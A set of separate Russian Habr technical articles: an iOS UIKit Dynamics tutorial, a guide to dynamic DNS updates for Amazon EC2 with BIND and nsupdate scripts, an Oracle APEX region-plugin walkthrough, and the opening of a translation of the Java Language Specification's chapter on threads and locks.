— [Репозиторий DuelJS на GitHub](https://github.com/studentIvan/dueljs)
— [Краткий обзор DuelJS на сайте](http://dueljs.studentivan.ru)
— [Документация DuelJS на readthedocs](https://dueljs.readthedocs.org)
— Картинка топика взята с [people.howstuffworks.com/ninja.htm](http://people.howstuffworks.com/ninja.htm)
Предлагайте свои идеи по улучшению библиотеки DuelJS сюда или в issues, спасибо.
Чуть не забыл: внимательно смотрите список тестируемых браузеров в README.md
P.S: Сейчас работаю над улучшением работы TabNinja в Internet Explorer 11 — иногда происходит неадекватное поведение, которое рушит работу tabNinja. | https://habr.com/ru/post/251175/ | null | ru | null |
# Использование UIDynamicAnimator из UIKit Dynamics при создании таблиц на основе UICollectionView
Как известно в последней версии SDK (фреймворк UIKit Dynamics) разработчики могут определять динамическое поведение для UIView объектов, а также других объектов, принимающих протокол UIDynamicItem.
В данной статье я хочу поделиться опытом использования таких объектов.
Целью было сделать анимацию, аналогичную той, что используется в приложении Messages на iOS 7:
После поисков и изучения документации решено было использовать [UIDynamicAnimator](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIDynamicAnimator_Class/Reference/Reference.html) в связке с [UICollectionView](https://developer.apple.com/library/ios/documentation/uikit/reference/UICollectionView_class/Reference/Reference.html).
Для этого необходимо было создать класс-наследник [UICollectionViewFlowLayout](https://developer.apple.com/library/ios/documentation/uikit/reference/UICollectionViewLayout_class/Reference/Reference.html#//apple_ref/occ/cl/UICollectionViewLayout):
```
#import
@interface DVCollectionViewFlowLayout : UICollectionViewFlowLayout
@end
```
добавить свойство с типом UIDynamicAnimator
```
#import "DVCollectionViewFlowLayout.h"
@interface DVCollectionViewFlowLayout()
//объект-аниматор
@property (nonatomic, strong) UIDynamicAnimator *dynamicAnimator;
@end
@implementation DVCollectionViewFlowLayout
@synthesize dynamicAnimator = _dynamicAnimator;
-(id)initr{
self = [super init];
if (self){
_dynamicAnimator = [[UIDynamicAnimator alloc] initWithCollectionViewLayout:self];
}
return self;
}
```
Динамическое поведение становится активным, когда мы его добавляем к объекту, который является экземпляром UIDynamicAnimator. Аниматор определяет контекст, в котором динамическое поведение выполняется.
После этого мы должны переопределить в нём нижеперечисленные функции:
```
#import "DVCollectionViewFlowLayout.h"
// .........
- (void)prepareLayout{
[super prepareLayout];
CGSize contentSize = [self collectionViewContentSize];
NSArray *items = [super layoutAttributesForElementsInRect:CGRectMake(0, 0, contentSize.width, contentSize.height)];
if (items.count != self.dynamicAnimator.behaviors.count) {
[self.dynamicAnimator removeAllBehaviors];
for (UICollectionViewLayoutAttributes *item in items) {
UIAttachmentBehavior *springBehavior = [[UIAttachmentBehavior alloc] initWithItem:item attachedToAnchor:item.center];
//экспериментальным путём подобранные значения для лучшего восприятия (на глаз)
springBehavior.length = 0.f;
springBehavior.damping = 1.f;
springBehavior.frequency = 6.8f;
[self.dynamicAnimator addBehavior:springBehavior];
}
}
}
- (NSArray *)layoutAttributesForElementsInRect:(CGRect)rect{
return [self.dynamicAnimator itemsInRect:rect];
}
- (UICollectionViewLayoutAttributes *)layoutAttributesForItemAtIndexPath:(NSIndexPath *)indexPath{
return [self.dynamicAnimator layoutAttributesForCellAtIndexPath:indexPath];
}
- (BOOL)shouldInvalidateLayoutForBoundsChange:(CGRect)newBounds{
CGFloat scrollDelta = newBounds.origin.y - self.collectionView.bounds.origin.y;
CGPoint touchLocation = [self.collectionView.panGestureRecognizer locationInView:self.collectionView];
for (UIAttachmentBehavior *springBehavior in self.dynamicAnimator.behaviors) {
CGPoint anchorPoint = springBehavior.anchorPoint;
CGFloat touchDistance = fabsf(touchLocation.y - anchorPoint.y);
//экспериментальным путём подобранные значения для лучшего восприятия (на глаз)
CGFloat resistanceFactor = 0.002;
UICollectionViewLayoutAttributes *attributes = springBehavior.items.firstObject;
CGPoint center = attributes.center;
float resistedScroll = scrollDelta * touchDistance * resistanceFactor;
float simpleScroll = scrollDelta;
float actualScroll = MIN(abs(simpleScroll), abs(resistedScroll));
if(simpleScroll < 0){
actualScroll *= -1;
}
center.y += actualScroll;
attributes.center = center;
[self.dynamicAnimator updateItemUsingCurrentState:attributes];
}
return NO;
}
-(void)dealloc{
[self.dynamicAnimator removeAllBehaviors];
self.dynamicAnimator = nil;
}
```
Объект UIAttachmentBehavior определяет связь между динамическим элементом item класса UICollectionViewLayoutAttributes и точкой item.center (центром этого элемента). Когда один элемент или точка перемещается, присоединенный элемент также перемещается. C помощью свойств damping и frequency мы можем указать как изменится поведение с течением времени.
[Исходный код](http://yadi.sk/d/VUpNmgR-BVyf9)
Полезные ссылки про анимации в iOS 7:
* [Introduction to UIKit Dynamics](http://www.teehanlax.com/blog/introduction-to-uikit-dynamics/)
* [UIKit Dynamics Tutorial](http://www.raywenderlich.com/50197/uikit-dynamics-tutorial)
* [iOS 7 SDK: Обзор изменений](http://osxdev.ru/blog/ios/137.html)
* [Эффект параллакса в iOS приложениях](http://blog.denivip.ru/index.php/2013/07/%d1%8d%d1%84%d1%84%d0%b5%d0%ba%d1%82-%d0%bf%d0%b0%d1%80%d0%b0%d0%bb%d0%bb%d0%b0%d0%ba%d1%81%d0%b0-%d0%b2-ios-%d0%bf%d1%80%d0%b8%d0%bb%d0%be%d0%b6%d0%b5%d0%bd%d0%b8%d1%8f%d1%85/)
* [Осваиваем Core Motion в iOS](http://blog.denivip.ru/index.php/2013/07/%d0%be%d1%81%d0%b2%d0%b0%d0%b8%d0%b2%d0%b0%d0%b5%d0%bc-core-motion-%d0%b2-ios/) | https://habr.com/ru/post/198890/ | null | ru | null |
# dynDNS для Amazon EC2 или как автоматизировать автообновление IP на хостинге с динамическим публичным IP
Недавно встала задача развернуть виртуальный сервер Ubuntu 12.04 на Amazon EC2 для некоего сервиса и присвоить ему доменное имя в существующей доменной зоне, но как известно Amazon меняет публичный и локальный адреса после перезагрузки или выключения машины, поэтому было решено использовать bash (для \*nix) и bat (для Windows) для автоматизации обновления динамического адреса для хостинга.
Такой скрипт на bash уже существует [Marius Ducea Jun 1st, 2009 года](http://www.ducea.com/2009/06/01/howto-update-dns-hostnames-automatically-for-your-amazon-ec2-instances/). Он был немного неактуальным в плане которых команд API от Amazon, но в большинстве своём остался практически неизменным.
Всё же повторюсь как настроить работающий BIND для получения команды на синхронизацию, хотя на хабре уже есть несколько статей описывающих данный метод:
[habrahabr.ru/post/101380](http://habrahabr.ru/post/101380/)
[habrahabr.ru/post/45921](http://habrahabr.ru/post/45921/)
и много других.
Я лишь исправил некоторые команды, засунул его в автозагрузку с системой и сделал аналогичный bat-скрипт для Windows, использовав cURL и некоторые файлы от BIND.
Долго мучился почему не получается обновить зону (master и slave были на другом хостинге, работающим на Ubuntu 10.04 с установленным BIND), пришлось включить на нём логирование:
В файле /etc/bind/named.conf прописал правила для создания логов, которые будут записаны в папку в /var/log/named/
```
logging {
channel bind_log {
file "/var/log/named/named.log";
print-time yes;
print-category yes;
print-severity yes;
};
channel update_debug {
file "/var/log/named/update-debug.log";
severity debug 3;
print-time yes;
print-category yes;
print-severity yes;
};
channel security_info {
file "/var/log/named/security-info.log";
severity info;
print-time yes;
print-category yes;
print-severity yes;
};
category default { bind_log;};
category xfer-in { bind_log;};
category xfer-out { bind_log;};
category update { update_debug;};
category security { security_info;};
};
```
После
```
/etc/init.d/bind9 restart
```
логи появились и можно было попробовать обновить зону скриптом, который был немного модифицирован, но вначале надо было создать ключи, я использовал 512 бит:
```
dnssec-keygen -a HMAC-MD5 -b 512 -r /dev/urandom -n USER example.com
```
Получили 2 файла:
```
Kexample.com.+157+10000.key
Kexample.com.+157+10000.private
```
В скрипте необходимо указать путь к полученному private — ключу:
```
#!/bin/bash
#Путь к приватному ключевому файлу
DNS_KEY="/etc/bind/key/Kexample.com.+157+10000.private"
#Имя домена
DOMAIN=example.com
#Имя поддомена статически
HOSTNAME=site1
#Раскомментировать нижние 2 строки, если надо использовать динамическое имя (возможны ошибки при внесении записи в DNS)
#USER_DATA=`/usr/bin/curl -s http://169.254.169.254/latest/meta-data/local-hostname`
#HOSTNAME=`echo $USER_DATA`
#Установить имя до следующей перезагрузки
hostname $HOSTNAME.$DOMAIN
echo Поддомен и домен: $HOSTNAME.$DOMAIN
PUBIP=`/usr/bin/curl -s http://169.254.169.254/latest/meta-data/public-ipv4`
echo Публичный адрес: $PUBIP
cat<
```
, а в DNS сервере указать содержимое публичного ключа в файле подгружаемых зон (у меня это named.conf.local):
```
key example.com. {
algorithm HMAC-MD5;
secret "ynl7o+JFPekH4iUaptw7z12xLhkUBJTmqbmTYa1xe+Gpt26HVaff+qQW hlmWcvAUeYdg19B+M4YeFrfhAvlcLQ==";
};
zone "example.com" {
type master;
file "/etc/bind/master/example.com";
allow-update { key example.com.; };
allow-query { any; };
};
```
Содержимое публичного ключа:
```
example.com. IN KEY 0 3 157 ynl7o+JFPekH4iUaptw7z12xLhkUBJTmqbmTYa1xe+Gpt26HVaff+qQW hlmWcvAUeYdg19B+M4YeFrfhAvlcLQ==
```
Перезагружаем на хостинге с master/slave–записьсью DNS сервер и смотрим логи при попытке обновить зону полученным скриптом на хостинге Amazon.
Был получен отлуп:
named.log
```
26-Jan-2013 22:53:27.780 update-security: info: client 192.168.254.1#58180: signer "example.com" approved
26-Jan-2013 22:53:27.782 general: error: /etc/bind/master/example.com.jnl: create: permission denied
26-Jan-2013 22:53:27.881 update-security: info: client 192.168.254.1#52062: signer "example.com" approved
26-Jan-2013 22:53:27.883 general: error: /etc/bind/master/example.com.jnl: create: permission denied
```
update-debug.log
```
26-Jan-2013 22:53:27.780 update: info: client 192.168.254.1#58180: updating zone 'example.com/IN': deleting rrset at 'flussonic.example.com' A
26-Jan-2013 22:53:27.781 update: info: client 192.168.254.1#58180: updating zone 'example.com/IN': adding an RR at 'flussonic.example.com' A
26-Jan-2013 22:53:27.781 update: debug 3: client 192.168.254.1#58180: updating zone 'example.com/IN': checking for NSEC3PARAM changes
26-Jan-2013 22:53:27.782 update: info: client 192.168.254.1#58180: updating zone 'example.com/IN': error: journal open failed: unexpected error
26-Jan-2013 22:53:27.882 update: info: client 192.168.254.1#52062: updating zone 'example.com/IN': deleting rrset at 'local.flussonic.example.com' A
26-Jan-2013 22:53:27.882 update: info: client 192.168.254.1#52062: updating zone 'example.com/IN': adding an RR at 'local.flussonic.example.com' A
26-Jan-2013 22:53:27.882 update: debug 3: client 192.168.254.1#52062: updating zone 'example.com/IN': checking for NSEC3PARAM changes
26-Jan-2013 22:53:27.883 update: info: client 192.168.254.1#52062: updating zone 'example.com/IN': error: journal open failed: unexpected error
```
в логах было написано что нет разрешения за запись, хотя на файлах и папках стояло разрешение записи для пользователя и группы bind.
Поиски в интернете гласили что надо поправить строчку в /etc/apparmor.d/usr.sbin.named
c
```
/etc/bind/** r,
```
на
```
/etc/bind/** rw,
```
, но это означает уменьшить безопасть зон, расположенных в этой директории, но я как обычно полагаюсь на авось.
Далее надо перезагрузить разрешения и сам BIND
```
/etc/init.d/apparmor restart
/etc/init.d/bind9 restart
```
После очередного рестарта сервиса на DNS хостинге ошибка исчезла и зона благополучно обновилась, но все закомментированные в ней данные были утеряны, т.к. bind «навёл порядок» в записях и поудалял лишнее, поэтому **следует сделать копию всех зон**.
Так же следовало данный скрипт сделать автозапускаемым, т.к. после включения виртуалки неудобно заходить через ssh на ужасное имя ec2-55-240-2-74.compute-1.amazonaws.com (постоянно меняется) и руками его запускать что бы обновить зону.
Для этого я сделал его исполняемым и скопировал в /etc/init.d/
```
chmod +x ec2-hostname.sh
cp ec2-hostname.sh /etc/init.d/
update-rc.d ec2-hostname.sh defaults
```
Для Windows оказалось всё намного проще:
```
@echo off
Setlocal enabledelayedexpansion
rem Путь к приватному ключевому файлу
set DNS_KEY="Kexample.com.+157+10000.private"
rem Имя домена
set DOMAIN=example.com
rem Имя поддомена
set HOSTNAME=site1
echo Поддомен и домен: %HOSTNAME%.%DOMAIN%
for /F "Delims=" %%P In ('curl -s http://169.254.169.254/latest/meta-data/public-ipv4') Do Set PUBIP=%%~P
echo Публичный адрес: %PUBIP%
(
@echo server ns1.%DOMAIN%
@echo zone %DOMAIN%
@echo update delete %HOSTNAME%.%DOMAIN% A
@echo update add %HOSTNAME%.%DOMAIN% 60 A %PUBIP%
@echo send
) | nsupdate -k %DNS_KEY% -v
for /F "Delims=" %%L In ('curl -s http://169.254.169.254/latest/meta-data/local-ipv4') Do Set LOCIP=%%~L
echo Локальный адрес: %LOCIP%
(
@echo server ns1.%DOMAIN%
@echo zone %DOMAIN%
@echo update delete local.%HOSTNAME%.%DOMAIN% A
@echo update add local.%HOSTNAME%.%DOMAIN% 60 A %LOCIP%
@echo send
) | nsupdate -k %DNS_KEY% -v
:eof
```
И поместить его в шедулер с запуском при старте системы.
Последнюю версию cURL брал здесь: [www.paehl.com/open\_source](http://www.paehl.com/open_source/)
BIND: [www.isc.org/software/bind](https://www.isc.org/software/bind)
От BIND нужны только файлы:
```
libisc.dll
liblwres.dll
libisccfg.dll
libbind9.dll
libeay32.dll
libdns.dll
libxml2.dll
nsupdate.exe
```
Их можно положить рядом со скриптом или же закинуть в %WINDIR%\system32
Вывод из всего этого:
Хоть я и выполнил данное задание, безопасть DNS сервера стала ещё меньше, т.к. добавилась ещё одна уязвимость и риск потерять правильно настроенную зону.
**Прежде чем повторять написанное здесь, следует чётко понимать что же надо получить, сделать копию всех критически важных и изменяемых объектов, надо быть уверенным что в случае какого-либо сбоя можно получить доступ к машине и исправить ситуацию.**
За последствия я не отвечаю, т.к. сам не уверен в её правильности.
P.S.
Прошу прощения за такой сумбурный текст, и возможные ошибки.
**Использованный материал:**[www.ducea.com/2009/06/01/howto-update-dns-hostnames-automatically-for-your-amazon-ec2-instances](http://www.ducea.com/2009/06/01/howto-update-dns-hostnames-automatically-for-your-amazon-ec2-instances/)
[www.k-max.name/linux/howto-dns-server-bind](http://www.k-max.name/linux/howto-dns-server-bind/)
[www.k-max.name/linux/osnovnye-komandy-linux-ili-shpargalka-nachinayushhego-linuksojda/#dns](http://www.k-max.name/linux/osnovnye-komandy-linux-ili-shpargalka-nachinayushhego-linuksojda/#dns)
[www.networkcenter.info](http://www.networkcenter.info)
[cruw.blogspot.ru/2012/03/dig-dns.html](http://cruw.blogspot.ru/2012/03/dig-dns.html)
[forum.ubuntu.ru/index.php?topic=29295.0](http://forum.ubuntu.ru/index.php?topic=29295.0)
[forum.ubuntu.ru/index.php?topic=28580.0](http://forum.ubuntu.ru/index.php?topic=28580.0)
[help.ubuntu.ru/wiki/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5\_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B0\_%D0%B0%D0%B2%D1%82%D0%BE%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0](http://help.ubuntu.ru/wiki/%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B0_%D0%B0%D0%B2%D1%82%D0%BE%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0)
[www.paehl.com/open\_source](http://www.paehl.com/open_source/)
[www.isc.org/software/bind](https://www.isc.org/software/bind)
[wiki.inisec.com/index.php/Nsupdate\_for\_windows](http://wiki.inisec.com/index.php/Nsupdate_for_windows)
[google.com](http://google.com)
и многое другое | https://habr.com/ru/post/167349/ | null | ru | null |
# Создаем плагин региона для Oracle Application Express
Данная статья предназначается всем тем, кто плотно работает с Oracle Application Express (в просторечии — APEX, а то и просто апекс). А так же тем, кто что-то слышал и подумывает начать использовать его в работе. После прочтения статьи, я надеюсь, у вас прибавится желания сделать это.
#### Вводная информация
Предполагается, что читатель знаком (или познакомится вскоре после прочтения) хотя бы в общих чертах со следующими вещами:
* Что такое SQL и PL/SQL, и чем они друг от друга отличаются
* Какие объекты бывают в СУБД Oracle и зачем они нужны (таблицы, пакеты, вью)
* Основные компоненты приложения апекса: страница, регион, итем, процесс и т. д., как их создавать и удалять
* Основы администрирования апекса: как создать в оракле таблицу, пакет, вью и как потом сделать их доступными для своего приложения
* Как использовать значение итема в качестве параметра SQL-запроса
Ничего сверхсложного в этих пунктах нет, всеми этими вещами на базовом уровне можно более-менее овладеть за месяц неспешной работы. Пример предназначен для пятой версии апекса, которая вышла чуть меньше года назад.
#### Что такое плагин региона в апексе и что для него нужно
В апексе можно создавать плагины регионов, итемов, процессов, динамических действий (Dynamic action) и схем аутентификации и авторизации. Что такое плагин региона, думаю, интуитивно понятно. Вы создаете новый тип региона, который умеет делать что-то такое, что не умеют делать стандартные апексовые регионы. Часто самое сложное тут — придумать какую-нибудь действительно стоящую идею для реализации. Я в качестве примера для статьи придумал плагин для создания рубрикации, источником вдохновения послужили алфавитные и предметные указатели в книгах и эта [страница](http://htmlbook.ru/html) на сайте htmlbook.ru. Итак, приступим.
#### Исходные данные
Для начала, создадим таблицы с данными. У нас будет рубрикатор стран мира, выбранных моей левой пяткой прямо перед написанием статьи. Допустим, мы храним список стран и континентов, а также ссылки на статьи в Википедии об этих странах. Нам надо аккуратно и красиво выводить этот список на экран, и чтобы они были разбиты по рубрикам (рубриками будут соответствующие континенты). Плагин будет также иметь одно кастомное свойство — количество колонок, в которых будут выводиться данные.
**Код для создания таблиц и заполнения данными**
```
create table continent (
continent_id number primary key,
continent_name varchar2(100));
create table country (
country_id number primary key,
country_name varchar2(100),
continent_id number references continent (continent_id),
url varchar2(4000));
insert into continent(continent_id, continent_name) values (1, 'Europe');
insert into continent(continent_id, continent_name) values (2, 'Asia');
insert into continent(continent_id, continent_name) values (3, 'North America');
insert into continent(continent_id, continent_name) values (4, 'South America');
insert into continent(continent_id, continent_name) values (5, 'Australia');
insert into country (country_id, country_name, continent_id, url) values (1, 'France', 1, 'https://ru.wikipedia.org/wiki/%D0%A4%D1%80%D0%B0%D0%BD%D1%86%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (2, 'Greece', 1, 'https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B5%D1%86%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (3, 'Norway', 1, 'https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D1%80%D0%B2%D0%B5%D0%B3%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (4, 'Spain', 1, 'https://ru.wikipedia.org/wiki/%D0%98%D1%81%D0%BF%D0%B0%D0%BD%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (5, 'China', 2, 'https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D1%82%D0%B0%D0%B9%D1%81%D0%BA%D0%B0%D1%8F_%D0%9D%D0%B0%D1%80%D0%BE%D0%B4%D0%BD%D0%B0%D1%8F_%D0%A0%D0%B5%D1%81%D0%BF%D1%83%D0%B1%D0%BB%D0%B8%D0%BA%D0%B0');
insert into country (country_id, country_name, continent_id, url) values (6, 'India', 2, 'https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%B4%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (7, 'Japan', 2, 'https://ru.wikipedia.org/wiki/%D0%AF%D0%BF%D0%BE%D0%BD%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (8, 'USA', 3, 'https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D0%B5%D0%B4%D0%B8%D0%BD%D1%91%D0%BD%D0%BD%D1%8B%D0%B5_%D0%A8%D1%82%D0%B0%D1%82%D1%8B_%D0%90%D0%BC%D0%B5%D1%80%D0%B8%D0%BA%D0%B8');
insert into country (country_id, country_name, continent_id, url) values (9, 'Canada', 3, 'https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D0%BD%D0%B0%D0%B4%D0%B0');
insert into country (country_id, country_name, continent_id, url) values (10, 'Mexico', 3, 'https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BA%D1%81%D0%B8%D0%BA%D0%B0');
insert into country (country_id, country_name, continent_id, url) values (11, 'Brasil', 4, 'https://ru.wikipedia.org/wiki/%D0%91%D1%80%D0%B0%D0%B7%D0%B8%D0%BB%D0%B8%D1%8F');
insert into country (country_id, country_name, continent_id, url) values (12, 'Uruguay', 4, 'https://ru.wikipedia.org/wiki/%D0%A3%D1%80%D1%83%D0%B3%D0%B2%D0%B0%D0%B9');
insert into country (country_id, country_name, continent_id, url) values (13, 'Chile', 4, 'https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D0%BB%D0%B8');
insert into country (country_id, country_name, continent_id, url) values (14, 'Australia', 5, 'https://ru.wikipedia.org/wiki/%D0%90%D0%B2%D1%81%D1%82%D1%80%D0%B0%D0%BB%D0%B8%D1%8F');
create view by_continent as
select continent_name rubric, country_name value, url link
from continent ct,
country cr
where ct.continent_id = cr.continent_id
order by rubric, upper(value);
create view by_alphabet as
select upper(substr(country_name, 1, 1)) rubric, country_name value, url link
from country cr
order by rubric, upper(value);
```
#### Плагин
Плагин создается в приложении апекса. Открываем IDE, выбираем необходимое приложение, идем в раздел «Shared Components», там находим раздел «Other Components», а в нем — «Plug-ins». Заходим на страницу плагинов, нажимаем «Create», запускается мастер создания плагинов. Далее по шагам (их всего два): указываем способ создания — «From Scratch», затем указываем свойства. Необходимо указать название(«Name»), внутреннее название («Internal name»), тип плагина («Type» — «Region») и тип поддерживаемых приложений («Supported for») — Desktop и Mobile (поставить галочки напротив необходимых пунктов). Далее нажимаем «Create Plug-in». Плагин создан, теперь его надо немного настроить. Заходим в свойства плагина (для этого надо кликнуть по его названию в списке плагинов), в разделе «Standard Attributes» ставим галочки напротив «Region Source is SQL Statement» и «Region Source Required». Идем в раздел «Custom Attributes», нажимаем на «Add Attribute» (чтобы добавить свойство для задания количества колонок при выводе), заполняем следующие поля:
* «Scope» — «Component»
* «Attribute» — «1» (порядковый номер кастомных атрибутов, ниже будет немного о том, что с этим номером потом делать)
* «Display Sequence» — оставляем умолчательное значение «10»
* «Label» — «Columns count» (это название будет отображаться в настройках, когда мы будем создавать регион на основе этого плагина)
* «Type» — «Integer»
* «Supported for» — «Desktop»
Ложка дёгтя в кастомных атрибутах. Есть там один крайне неприятный косяк: если вы захотите сделать кастомный атрибут типа «Select List», делайте его аккуратно. В интерфейсе отсутствуют кнопки для удаления отдельных записей, а также невозможно отредактировать return value. Вот скриншот этого непотребства:
Как видите, кнопки «Удалить» там нет. И поле «return value» нередактируемое. То есть если вы ошибетесь где-нибудь и не заметите сразу, или решите намного видоизменить список, то вам придется удалить атрибут и пересоздавать его с нуля. Да-да, и все ваши 20 записей для выпадающего списка тоже.
Теперь о самом главном свойстве плагина: на закладке «Callbacks» надо указать «Render Function Name» — название PL/SQL функции, которая будет генерировать HTML-код региона для показа браузером. Согласно документации, функция должна иметь следующую сигнатуру:
```
function (
p\_region in apex\_plugin.t\_region,
p\_plugin in apex\_plugin.t\_plugin,
p\_is\_printer\_friendly in boolean )
return apex\_plugin.t\_region\_render\_result
```
Кстати, для того, чтобы получить описание этой функции, даже не надо лезть в документацию, достаточно нажать на вопросик напротив поля «Render Function Name» и скопировать текст из встроенной подсказки. И раз уж заговорили о документации — для разработки плагинов вам очень пригодится документация на пакеты [APEX\_PLUGIN](https://docs.oracle.com/cd/E59726_01/doc.50/e39149/apex_plugin.htm#AEAPI535) и [APEX\_PLUGIN\_UTIL](https://docs.oracle.com/cd/E59726_01/doc.50/e39149/apex_plugin_util.htm#AEAPI536).
Самое загадочное в этой функции то, что мне не удалось пока найти описание возвращаемого функцией результата и где он используется. Вы можете просто возвращать NULL, и все будет работать.
#### Render Function
Плагин почти готов, теперь нужно сделать функцию рендеринга. Создадим функцию:
```
function render (
p_region in apex_plugin.t_region,
p_plugin in apex_plugin.t_plugin,
p_is_printer_friendly in boolean )
return apex_plugin.t_region_render_result is
begin
return null;
end;
```
Код, генерирующий HTML, как вы уже наверно догадались, надо поместить между строками «begin» и «return null;».
Чтобы сгенерировать регион на основе результата SQL запроса пользователя, надо этот запрос получить и выполнить. Получить запрос просто: читаем описание типа apex\_plugin.t\_region и обнаруживаем, что текст запроса хранится в поле p\_region.source. Осталось только запустить этот запрос, но не спешите хвататься за EXECUTE IMMEDIATE, потому что тут он вам не поможет! Дело в том, что пользователь в запросе может указать параметры, которые движком апекса ассоциируются со страничными полями. Движок апекса умеет их определять и заполнять данными. Сделать такое самому практически невозможно, придется писать свой парсер запросов. Как же тогда выполнить запрос? Можно запретить пользователю использовать запросы с параметрами, а можно покопаться в недрах документации и найти семейство функций APEX\_PLUGIN\_UTIL.GET\_DATA (две функции GET\_DATA и две — GET\_DATA2, за подробностями — см. документацию пакета). Эти функции принимают на вход SQL-код запроса, парсят его, определяют параметры, находят соответствующие итемы на странице и т. д. Результат возвращается в виде коллекции, ее описание есть на той же странице документации. В той же переменной p\_region (которая является записью — RECORD) содержатся атрибуты с названиями attribute\_01… attribute\_25. Эти числа соответствуют номерам кастомных атрибутов, указанных в поле «Attribute» в процессе создания.
И последнее. HTML-код вставляется на страницу с помощью процедуры htp.p (не путать с http!). То есть код
```
htp.p('**Всем привет!**');
```
Выведет на страницу надпись «Всем привет!» жирным шрифтом. Полный код функции для нашего плагина будет ниже.
#### Я тоже хочу попробовать!
Плагин вместе со всем необходимым можно взять [тут](https://github.com/apexuser/rubrikator). В комплекте идут следующие файлы:
* region\_type\_plugin\_rubrikator.sql — файл экспорта плагина
* render\_plugin\_rubrikator.pls — заголовок пакета с функцией рендеринга
* render\_plugin\_rubrikator body.pls — тело пакета с функцией рендеринга
Установка плагина (выполнять не нужно, если вы выполнили все шаги по созданию плагина из данной статьи): заходим в IDE, открываем нужное приложение, импортируем файл с плагином (region\_type\_plugin\_rubrikator.sql). Указываем File Type — Plug-in, нажимаем Next, Next, Install Plug-in.
Установка пакета: компилируем пакет из файлов render\_plugin\_rubrikator.pls и render\_plugin\_rubrikator body.pls.
Пакет содержит функцию рендеринга (render) и две процедуры (prepare\_demo и drop\_demo), которые, соответственно, создают и удаляют таблицы и вью для демонстрации (код, выполняемый процедурой prepare\_demo, приведен в начале статьи; если вы уже выполнили его, вызывать процедуру prepare\_demo не нужно). Выполните процедуру prepare\_demo после установки:
```
begin
render_plugin_rubrikator.prepare_demo;
end;
/
```
Теперь создайте новую страницу, на ней создайте два региона. Тип региона укажите — Plug-ins, в списке плагинов выберите «Rubrikator». В качестве источника данных укажите:
Для первого региона:
```
select * from by_continent
```
Для второго:
```
select * from by_alphabet
```
Здесь by\_continent и by\_alphabet — два вью, созданных процедурой prepare\_demo. В текущей версии плагина требования к запросу-источнику такие: первый столбец должен содержать заголовки рубрик, второй — пункты внутри рубрик, третий — ссылки. Если ссылка равна NULL, запись будет показана на странице без тега <а>.
Значение поля Columns count в плагине выберите на свой вкус. В моей демо-версии будет 2 для первого и 3 для второго.
Результат первого запроса, для примера:
А если запустить страницу, то наш плагин преобразует это к такому виду:
Первый регион:
Второй регион:
[Ссылка](https://apex.oracle.com/pls/apex/f?p=34599:3) на страницу. | https://habr.com/ru/post/275619/ | null | ru | null |
# The Java Language Specification. Chapter 17. Threads and Locks (Перевод. Часть 1)
*Привет, Хабр! Представляю вашему вниманию перевод статьи «The Java Language Specification ([Chapter 17. Threads and Locks](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html))» [Оригинал.](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html)*
[Глава 17. Треды и блокировки (Chapter 17. Threads and Locks)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html)
В то время как большая часть дискуссий в предыдущих главах касалась только поведения кода, исполняемого одновременно и как единое утверждение или выражение одновременно, т.е. в одном треде, JVM (Java virtual machine) может поддерживать одновременно несколько тредов исполнения. Эти треды независимо друг от друга используют код, который действует на значения и объекты, находящиеся в общей памяти (shared main memory). Треды могут поддерживаться за счет использования множества аппаратных процессоров, временным разделением одного аппаратного процессора или временным разделением нескольких аппаратных процессоров.
Треды представлены классом [Thread](https://docs.oracle.com/javase/8/docs/api/java/lang/Thread.html). Единственный способ, каким пользователь может создать тред — это создать объект этого класса; каждый тред ассоциируется с каким-то объектом. Тред начнет свое исполнение, когда будет вызван метод [*start()*](https://docs.oracle.com/javase/8/docs/api/java/lang/Thread.html#start--) на соответствующем [Thread](https://docs.oracle.com/javase/8/docs/api/java/lang/Thread.html)-объекте.
Поведение тредов, особенно когда синхронизация выполнена некорректно, может быть непонятно и не соответствовать ожиданиям. Эта глава описывает семантику многопоточного программирования; она содержит правила, согласно которым значения можно увидеть для чтения в общей памяти, которая обновляется множеством тредов. Так как спецификация аналогична [Memory Models](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.4) для различных архитектур, эта семантика известна как [Memory Model](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.4) языка программирования Java. Когда не будет возникать путаницы, мы просто будем называть эти правила "[Memory Model](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.4)".
Эта семаника не предписывает, как должна выполняться многопоточная программа. Скорее, она описывает возможное поведение, которое могут демонстрировать многопоточные программы. Приемлима любая стратегия выполнения, которая генерирует возможные модели поведения.
[17.1 Синхронизация (17.1. Synchronization)](https://docs.oracle.com/javase/specs/jls/se8/html/jls-17.html#jls-17.1)
